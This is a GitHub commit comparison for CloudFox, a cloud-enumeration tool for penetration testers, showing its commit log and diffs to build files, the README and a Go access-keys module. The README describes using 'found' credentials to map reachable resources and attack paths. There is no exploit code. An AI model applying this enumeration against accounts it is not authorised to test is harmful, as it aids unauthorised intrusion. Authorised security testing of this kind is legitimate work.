Compare commits

...
153 Commits
Author SHA1 Message Date
Bastien Faure 599ddc247d Merge main 2023-07-01 17:40:50 -07:00
Seth Art d4ae745e8e Merge pull request #45 from BishopFox/seth-dev
directory name for logging path
2023-06-28 11:39:47 -04:00
sethsec-bf dc0396ff33 updated logging path to have profile come before account-id to make it easier to find the right data 2023-06-28 11:37:45 -04:00
Bastien Faure 9bedfcb4de Cosmetics 2023-06-28 00:56:52 -07:00
Bastien Faure afbcab6652 Clarified GCP resource selection options in the CLI 2023-06-28 00:50:18 -07:00
Bastien Faure 3ec90f51d2 Improve resource selection logic in GCP by prepopulating Projects and Folders in the client for later use 2023-06-28 00:48:57 -07:00
Bastien Faure 1343060c4b Finish the resource selection logic implementation 2023-06-26 22:01:16 -07:00
Bastien Faure bbc26e0a23 Implement basic support of inventory command 2023-06-26 00:24:33 -07:00
Bastien Faure 8518b7678d Improve buckets module logging 2023-06-26 00:24:11 -07:00
Bastien Faure 07cd08ccc2 Improve data visualization in GCP resource tree 2023-06-25 23:24:08 -07:00
Bastien Faure 4ffc02c285 Implement tree structure in internal package, improved GCP Hierarchy command logic 2023-06-25 23:02:58 -07:00
Bastien Faure f61dd2bfb1 Included orphaned projects in the hierarchy module, improve logging 2023-06-25 16:27:13 -07:00
Bastien Faure 5365206a49 Update README with correct number of available GCP commands 2023-06-25 13:54:26 -07:00
Bastien Faure fc390b763e Fix bug in GCP profile selection logic, remove unnecessary new lines in GCP modules' logging 2023-06-25 13:53:38 -07:00
Bastien Faure a2140f1ef1 Implement definitive logic for GCP Profile interation and module calling 2023-06-25 02:27:51 -07:00
Bastien Faure 48f92dd4f8 Remove GCP development/test command, updated README with usable/current commands 2023-06-25 00:48:48 -07:00
Bastien Faure 139e4d391f Remove GCP development/test command, updated README with usable/current commands 2023-06-25 00:48:05 -07:00
Bastien Faure 6251b76a12 Bypass GCP profile parsing logic for commands that don't require authentication 2023-06-25 00:40:59 -07:00
Bastien Faure 48c4928767 Implement default profile detection in GCP 2023-06-24 23:21:26 -07:00
Bastien Faure 7578d4299d Implemented a logger to be used by cloudfox providers, moved version to globals 2023-06-24 23:10:54 -07:00
Bastien Faure b08ca87e6b Continue profile management implementation for GCP 2023-06-24 21:15:56 -07:00
Bastien Faure 5f029319a6 Continue GCP implementation, including multiple profile selection on CLI 2023-06-24 20:34:13 -07:00
Bastien Faure 42a32bb8e3 Added hierarchy command, aiming to display a resource tree, started decomissioning whoami 2023-06-22 22:14:47 -07:00
Bastien Faure c397f858db Added an internal function to list 'usable' credentials 2023-06-22 17:29:14 -07:00
Bastien Faure 980e28bc9d Implemented access-tokens commands for GCP to enumerate local tokens in a detailed manner 2023-06-22 12:35:48 -07:00
David 9b752ce4e6 saving work 2023-06-22 10:31:05 -04:00
Bastien Faure c102ea8d17 Started working around local GCP credentials and added profiles and inventory command stubs 2023-06-22 00:07:48 -07:00
Bastien Faure ba04dade7a Mimick AWS structure for GCP CLI args and modules 2023-06-21 13:20:14 -07:00
Bastien Faure 61cb727a64 Remove GCP debug 2023-06-20 22:40:22 -07:00
Bastien Faure 25fb66d6a1 Moved GCP helpers to separate file 2023-06-20 22:39:35 -07:00
Bastien Faure 82adab9863 Updated README with GCP documentation 2023-06-20 13:25:28 -07:00
Bastien Faure 02026c7a78 Initial commit for GCP implementation 2023-06-20 13:17:40 -07:00
sethsec-bf c11ebf9a07 fixed newly introduced eks bug in the caching function (region and cluster name were passed in the wrong order) 2023-06-14 17:01:53 -04:00
sethsec-bf 6c8936cfe4 fixed two segfault issues due to not checking if fields within a struct are nil 2023-06-14 16:24:19 -04:00
Seth Art fca0c4da14 Merge pull request #44 from BishopFox/seth-dev
Switched default behavior on loading cached data from disk.
2023-06-14 09:49:58 -07:00
sethsec-bf 2c5fec49c3 loading cache from files by default was a bad idea. changed default to not load cache from disk, and if the -c flag is used, then cache is loaded from disk 2023-06-14 12:46:04 -04:00
sethsec-bf a9b95d9142 merged from main 2023-06-14 12:33:05 -04:00
Seth Art 0a74adea9a Merge pull request #43 from wdahlenburg/api-gw-patch
API Gateway Path Fix
2023-06-14 09:31:02 -07:00
Wyatt Dahlenburg adb9bcd55a Handle stage in apigatewayv2 2023-06-13 16:00:02 -06:00
Wyatt Dahlenburg 03177e8726 Fix paths on API Gateways & V2. Clean up path for S3 bucket endpoints as well 2023-06-13 15:01:54 -06:00
sethsec-bf 1fb9f4c3e0 fixed services table to sort by service which is way more helpful 2023-06-10 23:16:45 -04:00
Seth Art 3c6c59ec4b Update README.md 2023-06-09 14:33:51 -04:00
Seth Art 3f8b828a6c Merge pull request #41 from BishopFox/seth-dev
found and fixed some bugs in the new resource-trusts command
2023-06-09 14:32:01 -04:00
sethsec-bf b8bf12f1c4 found and fixed some bugs in the new resource-trusts command 2023-06-09 14:30:39 -04:00
sethsec-bf 690b3c8c77 found and fixed some bugs in the new resource-trusts command 2023-06-09 14:29:33 -04:00
Seth Art 845b69e9a0 Merge pull request #40 from BishopFox/seth-dev
updated lambda header to name instead of arn
2023-06-09 10:46:46 -04:00
sethsec-bf fc7a57129f updated lambda header to name instead of arn 2023-06-09 10:46:13 -04:00
Seth Art f6ec6a12f7 Merge pull request #39 from BishopFox/seth-dev
Version 1.11.0
2023-06-08 21:49:55 -04:00
sethsec-bf 56075588d5 bumped version to 1.11.0 2023-06-08 21:45:17 -04:00
sethsec-bf 7b51d9da96 updated tests 2023-06-08 21:43:42 -04:00
sethsec-bf a0a64c579c bumped go version for releaser 2023-06-08 21:43:20 -04:00
sethsec-bf 2b294e5845 updated wrapping for files written to disk, updated go modules 2023-06-08 21:33:20 -04:00
sethsec-bf d5956cebb0 tweak to database command cols 2023-06-08 21:05:40 -04:00
sethsec-bf 9581425231 updates to resource-trust command 2023-06-08 16:19:57 -04:00
sethsec-bf ce6c3f76fa migrated ecr and a few other functions in the endpoints and env-vars commands to use the cached functions 2023-06-03 12:41:10 -04:00
sethsec-bf 497c7940d2 migrated ecr to cached functions 2023-05-31 12:56:31 -04:00
sethsec-bf b29e4ea6b3 changed output directory, added beginning phases of cached support - both within one single run, but also loading cached data from previous runs, added codebuild command, added orgs command, added databases command, switched everything to use carlos's output2 functions, changed the output flag from type (csv,table) to be like kubectl with wide/narrow 2023-05-30 10:55:39 -04:00
sethsec-bf 2756cd0f45 changed default output dir to ~/.cloudfox/cloudfox-output 2023-05-23 15:32:43 -04:00
sethsec-bf c0597764a9 reworked the option to specify a principal so it works with groups also. i don't think it was working before 2023-05-18 15:58:27 -04:00
sethsec-bf ef1b37cef7 Added conditions col to the output to at least say if conditions exist on a permission 2023-05-10 20:34:03 -04:00
sethsec-bf 8e9bd42a1e finally added some logic so that if the user submits the name of the user/role/group instead of hte arn it will work anyway 2023-04-27 09:59:59 -04:00
sethsec-bf 8b2f13ca88 added ssm and ec2-instanceconnect commands to instances loot 2023-04-13 11:45:06 -04:00
sethsec-bf 8722782eae merged from main 2023-04-04 21:26:37 -04:00
sethsec-bf 0397b5df5f fixed bug in aws permissions - it was not handling policies applied to groups properly 2023-04-04 16:56:57 -04:00
sethsec-bf 5f7596b497 more draft work on the orgs command 2023-04-04 16:11:08 -04:00
sethsec-bf 0276ce25a4 initial draft of the orgs command 2023-03-30 07:35:48 -04:00
sethsec-bf 7490d1aaa1 fixed bug that wrote buckets, sns, sqs files in the wrong place when using environment variables 2023-03-28 15:18:01 -04:00
sethsec-bf 8ef71a6388 fixed bug in env-vars where sagaemaker model exists but primarycontainer does not 2023-03-27 13:44:48 -04:00
sethsec-bf 365286665c moved sns/sqs to another section in all-checks 2023-03-27 13:44:15 -04:00
Seth Art 537d064c6b Merge pull request #35 from motikan2010/main
bugfix 'SQS' and 'SNS' are inspected when 'all-checks' is executed.
2023-03-27 13:21:22 -04:00
sethsec-bf 766fe55484 added more to resource trusts module, started to move commands to shared initalizers 2023-03-26 15:15:31 -04:00
motikan2010 51f0b65087 bugfix 'SQS' and 'SNS' are inspected when 'all-checks' is executed. 2023-03-26 21:32:24 +09:00
sethsec-bf 186cd04405 Finished codebuild test, added codeguild to resource-trusts command, updated ecr test to add new function to the client interface 2023-03-21 12:09:45 -04:00
sethsec-bf 56247f40d4 first draft of resource-trusts command 2023-03-18 07:52:27 -04:00
sethsec-bf bc91da000c fixed bug in permissions command where it was choking on statements with conditions 2023-03-18 07:50:43 -04:00
Seth Art 02db8a4fe8 Merge pull request #33 from BishopFox/carlos-dev
azure bug fix
2023-03-13 16:44:24 -04:00
Seth Art dc7c8c6f68 Merge branch 'main' into carlos-dev 2023-03-13 16:43:46 -04:00
sethsec-bf 1aca8cf4cf fixed bug in filesystems command related mount targets 2023-03-13 13:22:58 -04:00
sethsec-bf 8550561cd7 fixed bug in filesystems command related to regions 2023-03-09 13:33:59 -05:00
sethsec-bf 7f413fc9d1 fixed bug in filesystems command 2023-03-09 13:31:34 -05:00
carlosvendramini b3620ca281 fixed output path in control messages for az inventory 2023-03-08 14:54:49 -05:00
carlosvendramini e6b5604a08 updated version tag to 1.10.1 2023-03-08 14:35:16 -05:00
carlosvendramini 47c11840d3 attempt to fix a bug within az validatePublicBlobURLs 2023-03-08 11:29:46 -05:00
carlosvendramini 77c7edfc82 fixed an error handling bug on the az storage and whoami commands 2023-03-08 11:17:13 -05:00
sethsec-bf cecebb82cb updated table file output to respect the wrap argument and the default which is to not wrap 2023-03-08 09:33:15 -05:00
sethsec-bf f2f93779ca updated inventory to include codebuild and started to break it out a bit into api call functions 2023-03-08 09:19:19 -05:00
sethsec-bf 59157b40d1 updated EFS to show file permissions and root directory info 2023-02-28 18:17:50 -05:00
Seth Art 07c4ddc755 Update README.md 2023-02-28 12:41:09 -05:00
carlosvendramini 05481ae748 az storage command now uses head method instead of get to check public blob URL 2023-02-28 12:06:12 -05:00
Seth Art 49eada30b6 Merge pull request #32 from BishopFox/dependabot/go_modules/golang.org/x/net-0.7.0
Bump golang.org/x/net from 0.2.0 to 0.7.0
2023-02-28 12:05:02 -05:00
dependabot[bot] bb1313c5c8 Bump golang.org/x/net from 0.2.0 to 0.7.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.2.0 to 0.7.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.2.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-02-28 17:03:36 +00:00
carlosvendramini fc736f4946 updated version tag to 1.10.0 2023-02-28 11:53:29 -05:00
carlosvendramini-bf d02b5e8f0e Merge pull request #31 from BishopFox/carlos-dev
Carlos dev
2023-02-28 11:49:47 -05:00
carlosvendramini 41be2192d3 added blobs test data 2023-02-28 11:45:43 -05:00
Seth Art 96587ff450 Update README.md 2023-02-28 09:37:31 -05:00
Seth Art 2e65bb319e added sqs and sns to readme 2023-02-23 12:13:15 -05:00
Seth Art fc3379e7ac Merge pull request #30 from BishopFox/seth-dev
Small improvements and fixes
2023-02-22 16:38:07 -05:00
sethsec-bf 2b686e9a3b Merge remote-tracking branch 'origin' into seth-dev 2023-02-22 16:28:48 -05:00
Seth Art 7300fc9eb3 Merge pull request #21 from DominicBreuker/sns-sqs-public-access-cmd
Add SNS and SQS commands with unit tests
2023-02-22 16:28:02 -05:00
sethsec-bf 303341c634 updated the buckets test to use the big table string as the comparable like sns/sqs 2023-02-21 16:48:03 -05:00
sethsec-bf 31027ba4cb updated all of the tests for sns/sqs/buckets to work with the new code 2023-02-21 16:05:10 -05:00
sethsec-bf 40933e2f81 fixed bug in permissions command where notaction permissions were being listed as allowed 2023-02-21 11:52:59 -05:00
carlosvendramini a8b73ef60d Merge remote-tracking branch 'origin/seth-dev' into carlos-dev 2023-02-21 06:43:29 -05:00
sethsec-bf b9f9a4fdab updated some iam-simulator default actions 2023-02-20 23:11:21 -05:00
sethsec-bf 3238ac866a switch awsservicemap behavior to pull latest servicemap from aws 2023-02-20 23:06:37 -05:00
sethsec-bf 2563ebbb72 removed pmapper column from output when pmapper data is not found 2023-02-20 22:53:18 -05:00
sethsec-bf 512602079b removed pmapper column from output when pmapper data is not found 2023-02-20 22:48:03 -05:00
sethsec-bf 152f7eaa8d added loot file to inventory which lists all identified arns 2023-02-20 22:26:01 -05:00
sethsec-bf 6aae684307 added test for tags command 2023-02-20 15:30:00 -05:00
sethsec-bf dbc9b1c2d3 added a max flag for the tags command because some accounts have hundreds of thousands of tags.
changed the behavior of the tags command in all-checks - it now sets the limit to 1000 resources per region,
and even if a user uses the -v2 or -v3 option, it overrides it to -v1 since it is so verbose
2023-02-20 11:30:28 -05:00
sethsec-bf 7c55958f54 added loot command output to sqs and sns 2023-02-17 22:49:27 -05:00
sethsec-bf ac21f3a8f0 finally got something worth pushing 2023-02-16 16:26:02 -05:00
sethsec-bf f207a7c095 updated sns/sqs/buckets commands - likely going to remove this 2023-02-14 18:16:26 -05:00
sethsec-bf cd66bbf52a updated sns/sqs/buckets commands - likely going to remove this 2023-02-14 18:11:29 -05:00
carlosvendramini dc7560c648 added az inventory per subscription 2023-02-10 14:51:46 -07:00
carlosvendramini 466c8fca53 small bug fix on output 2023-02-10 13:19:15 -07:00
carlosvendramini 2e8a454d04 output redesign ready for testing in prod 2023-02-10 13:06:22 -07:00
carlosvendramini 99b798b556 finished the az inventory module PoC code 2023-02-09 10:03:14 -05:00
carlosvendramini 78ff6651be finished new potential new output design, still need to discuss and test 2023-02-06 16:47:41 -05:00
carlosvendramini f1670f67da added new potential output design 2023-02-06 11:28:19 -05:00
carlosvendramini ba57a02a20 az blob enumeration complete, also added loot file with urls, need to add unit tests 2023-02-03 11:01:55 -05:00
carlosvendramini 6599ad2e83 public blob enumeration almost done, just need to add URLs to loot file 2023-02-02 17:45:37 -05:00
Seth Art 925014f001 Merge pull request #29 from BishopFox/seth-dev
Fix #28 and some other minor updates
2023-02-01 21:35:43 -05:00
sethsec-bf 7058d458e0 updated pmapper error state to point to wiki for next steps 2023-02-01 21:25:57 -05:00
sethsec-bf 8b5f79dc82 fixed pmapper path creation in linux to fix #28 2023-02-01 21:17:51 -05:00
sethsec-bf bb1f3388f3 added wiki link to network-ports command 2023-02-01 21:14:00 -05:00
carlosvendramini-bf 4081025480 wrote a prototype for az public blobs enumeration 2023-02-01 15:51:06 -05:00
sethsec-bf b64526f04f initial draft of adding more context to sqs table 2023-02-01 13:08:14 -05:00
Seth Art 78cdf2ef91 updated readme to include network-ports from #19 2023-01-31 13:48:36 -05:00
sethsec-bf 3d054eadee the test run complained about a fmt error in networkports 2023-01-31 12:27:18 -05:00
sethsec-bf 767d2e6bca added region check for each service to new commands 2023-01-31 12:21:30 -05:00
sethsec-bf 7ec51b1b96 incorporated new changes from v1.9.0 into this PR 2023-01-31 12:16:01 -05:00
Seth Art 10742b2f8b Merge pull request #19 from wdahlenburg/network-services
Identify Potentially Exposed Network Ports
2023-01-31 11:30:30 -05:00
sethsec-bf abeaa25922 bumping version and adding prerelease notation before pushing to main 2023-01-31 11:28:26 -05:00
Wyatt Dahlenburg 91aa229679 Restrict the processed security group rules to ALL, TCP, and UDP 2023-01-24 19:08:56 -07:00
sethsec-bf c265e5cb86 Merge branch 'network-services' of github.com:wdahlenburg/cloudfox into network-services 2023-01-23 17:34:12 -07:00
sethsec-bf f514b80f38 adding logic to ignore icmp 2023-01-23 17:33:52 -07:00
Wyatt Dahlenburg a0c8e4b2c4 Including ElastiCache in the cloudfox AWS policy 2023-01-23 07:50:17 -07:00
sethsec-bf 1c64fa50b9 added new 1.9.0 smart service logic 2023-01-22 23:15:39 -05:00
sethsec-bf 1ffd763a85 updated network-ports sections of cli/aws to incorporate new structure 2023-01-22 22:47:22 -05:00
sethsec-bf 5e87e968fd made some superficial updates before merge with main 2023-01-22 22:18:46 -05:00
Seth Art 12e9d5a3b1 Merge pull request #25 from JonZeolla/fix-typo
Fix ssm:SendCommand typo
2023-01-20 15:21:32 -05:00
Jon Zeolla 45cd84bcaa Fix ssm:SendCommand typo 2023-01-17 18:58:18 -05:00
Seth Art acabb09592 Update README.md 2023-01-14 21:05:11 -05:00
Seth Art b8515157f9 Update README.md 2023-01-14 21:04:28 -05:00
Seth Art 57aa072dda Update README.md 2023-01-11 08:53:02 -05:00
Seth Art dd688afd3e Updated README to split out Azure commands to their own table 2023-01-11 08:51:06 -05:00
Wyatt Dahlenburg 2b04fbb39a Merge branch 'main' into network-services 2023-01-04 20:29:19 -07:00
Wyatt Dahlenburg 6e9aa37d4a Refactor + Merge of Lightsail, ELBv2, ECS, ElastiCache, & EFS detections 2023-01-04 20:28:59 -07:00
Dominic Breuker 0ceaa0a767 use in-memory filesystem for unit tests 2022-12-12 21:14:53 +01:00
Dominic Breuker 01267d55e9 add SNS and SQS commands with unit tests 2022-12-09 22:12:05 +01:00
Wyatt Dahlenburg a09b549417 Merge branch 'main' into network-services 2022-11-27 11:22:14 -07:00
Wyatt Dahlenburg ca66af7e61 Basic Network ACL and Security Group parsing. Support for EC2 and RDS network ports. 2022-11-27 11:11:57 -07:00
117 changed files with 15509 additions and 3215 deletions

No files matched your search

+2 -2
View File
@@ -15,10 +15,10 @@ jobs:
steps:
- name: Go 1.18
- name: Go 1.20
uses: actions/setup-go@v2
with:
go-version: ^1.18
go-version: ^1.20
id: go
- id: install-secret-key
+4 -1
View File
@@ -66,4 +66,7 @@ output/*
cloudfox
*.log
*.bak
table_output.txt
*.txt
*.json
*.csv
*.log
+9 -9
View File
@@ -1,20 +1,20 @@
run:
go run main.go
/home/marauder/Downloads/go/bin/go run main.go
windows:
GOOS=windows GOARCH=386 go build
GOOS=windows GOARCH=386 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox.exe > sha1sum-win.txt
zip cloudfox-win.zip cloudfox.exe sha1sum-win.txt
rm cloudfox.exe sha1sum-win.txt
linux:
GOOS=linux GOARCH=386 go build
GOOS=linux GOARCH=386 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox > sha1sum-linux.txt
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
rm cloudfox sha1sum-linux.txt
macos:
GOOS=darwin GOARCH=amd64 go build
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build
sha1sum cloudfox > sha1sum-mac.txt
zip cloudfox-mac.zip cloudfox sha1sum-mac.txt
rm cloudfox sha1sum-mac.txt
@@ -25,21 +25,21 @@ all: windows linux macos
release: clean
mkdir -p ./cloudfox
mkdir -p ./cloudfox
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
GOOS=windows GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox.exe .
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
rm -rf ./cloudfox/cloudfox.exe
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
GOOS=linux GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
rm -rf ./cloudfox/cloudfox
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
GOOS=darwin GOARCH=arm64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
rm -rf ./cloudfox/cloudfox
clean:
rm -rf ./cloudfox
rm -rf ./cloudfox
+33 -11
View File
@@ -14,7 +14,7 @@ CloudFox helps you gain situational awareness in unfamiliar cloud environments.
## Demos, Examples, Walkthroughs
* [Blog - Introducing: CloudFox](https://bishopfox.com/blog/introducing-cloudfox)
* [Video - CloudFox Intro Demo's](https://www.youtube.com/watch?v=ReWoUgpUuiQ)
* [Video - CloudFox Intro Demos](https://www.youtube.com/watch?v=ReWoUgpUuiQ)
* [Video - Tool Talk: CloudFox AWS sub-command walkthroughs](https://youtu.be/KKsYfL5uVU4?t=360)
## Quick Start
@@ -29,8 +29,9 @@ CloudFox is modular (you can run one command at a time), but there is an `aws al
CloudFox was designed to be executed by a principal with limited read-only permissions, but it's purpose is to help you find attack paths that can be exploited in simulated compromise scenarios (aka, objective based penetration testing).
### Black Box Enumeration
CloudFox can be with "found" credentials, similar to how you would use [weirdAAL](https://github.com/carnal0wnage/weirdAAL) or [enumerate-iam](https://github.com/andresriancho/enumerate-iam). Checks that fail, do so silently, so any data returned means your "found" creds have the access needed to retrieve it.
CloudFox can be used with "found" credentials, similar to how you would use [weirdAAL](https://github.com/carnal0wnage/weirdAAL) or [enumerate-iam](https://github.com/andresriancho/enumerate-iam). Checks that fail, do so silently, so any data returned means your "found" creds have the access needed to retrieve it.
### Documentation
For the full documentation please refer to our [wiki](https://github.com/BishopFox/CloudFox/wiki).
@@ -38,9 +39,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
| Provider| CloudFox Commands |
| - | - |
| AWS | 23 |
| AWS | 30 |
| Azure | 4 |
| GCP | Support Planned |
| GCP | 4 |
| Kubernetes | Support Planned |
@@ -78,9 +79,14 @@ Additional policy notes (as of 09/2022):
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
### Azure
* Viewer or similar permissions applied.
* Viewer or similar permissions applied.
# Supported Commands
### GCP
* `gcloud` CLI installed
* Proper SDK credentials available (`gcloud auth application-default login`)
* Viewer or similar permissions applied.
# AWS Commands
| Provider | Command Name | Description
| - | - | - |
| AWS | [all-checks](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#all-checks) | Run all of the other commands using reasonable defaults. You'll still want to check out the non-default options of each command, but this is a great place to start. |
@@ -98,7 +104,8 @@ Additional policy notes (as of 09/2022):
| AWS | [instances](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#instances) | Enumerates useful information for EC2 Instances in all regions like name, public/private IPs, and instance profiles. Generates loot files you can feed to nmap and other tools for service enumeration. |
| AWS | [inventory](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#inventory) | Gain a rough understanding of size of the account and preferred regions. |
| AWS | [lambda](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#lambda) | Lists the lambda functions in the account, including which one's have admin roles attached. Also gives you handy commands for downloading each function. |
| AWS | [outbound-assumed-roles](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
| AWS | [network-ports](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#network-ports) | Enumerates AWS services that are potentially exposing a network service. The security groups and the network ACLs are parsed for each resource to determine what ports are potentially exposed. |
| AWS | [outbound-assumed-roles](#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
| AWS | [permissions](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#permissions) | Enumerates IAM permissions associated with all users and roles. Grep this output to figure out what permissions a particular principal has rather than logging into the AWS console and painstakingly expanding each policy attached to the principal you are investigating. |
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
@@ -107,9 +114,26 @@ Additional policy notes (as of 09/2022):
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
| AWS | [sns](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sns) | This command enumerates all of the sns topics and gives you the commands to subscribe to a topic or send messages to a topic (if you have the permissions needed). This command only deals with topics, and not the SMS functionality. This command also attempts to summarize topic resource policies if they exist.|
| AWS | [sqs](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sqs) | This command enumerates all of the sqs queues and gives you the commands to receive messages from a queue and send messages to a queue (if you have the permissions needed). This command also attempts to summarize queue resource policies if they exist.|
| AWS | [tags](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#tags) | List all resources with tags, and all of the tags. This can be used similar to inventory as another method to identify what types of resources exist in an account. |
| Azure | [instances-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances-map) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
| Azure | [rbac-map](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac-map) | Enumerates Role Assignments for all tenants |
# Azure Commands
| Provider | Command Name | Description
| - | - | - |
| Azure | [whoami](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#whoami) | Displays information on the tenant, subscriptions and resource groups available to your current Azure CLI session. This is useful to provide situation awareness on what tenant and subscription IDs to use with the other sub commands. |
| Azure | [instances](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#instances) | Enumerates useful information for Compute instances in all available resource groups and subscriptions |
| Azure | [rbac](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac) | Lists Azure RBAC role assignments at subscription or tenant level |
| Azure | [storage](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#storage) | The storage command is still under development. Currently it only displays limited data about the storage accounts |
# GCP Commands
| Provider | Command Name | Description
| - | - | - |
| GCP | [access-tokens](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-tokens) | Displays handy information about existing GCP credentials on your local machine |
| GCP | [hierarchy](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hierarchy) Displays information on the projects available to your current Gcloud SDK credentials. This is useful to provide situation awareness on what organizations, folders and projects to use with the other sub commands.|
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) Gain a rough understanding of size of the available organizations |
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) Lists the buckets in the available organizations and gives you handy commands for inspecting them further. |
# Authors
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
@@ -118,8 +142,6 @@ Additional policy notes (as of 09/2022):
# Contributing
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
# TODO
* AWS - Add support for GovCloud and China regions
# FAQ
+39 -45
View File
@@ -1,22 +1,21 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"strconv"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type AccessKeysModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSProfile string
OutputFormat string
@@ -79,12 +78,27 @@ func (m *AccessKeysModule) PrintAccessKeys(filter string, outputFormat string, o
fmt.Printf("[%s][%s] Only active access keys are shown.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Preparing output.\n\n")
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
//m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s][%s] %s access keys found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No access keys found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -116,50 +130,30 @@ func (m *AccessKeysModule) writeLoot(outputDirectory string, verbosity int) {
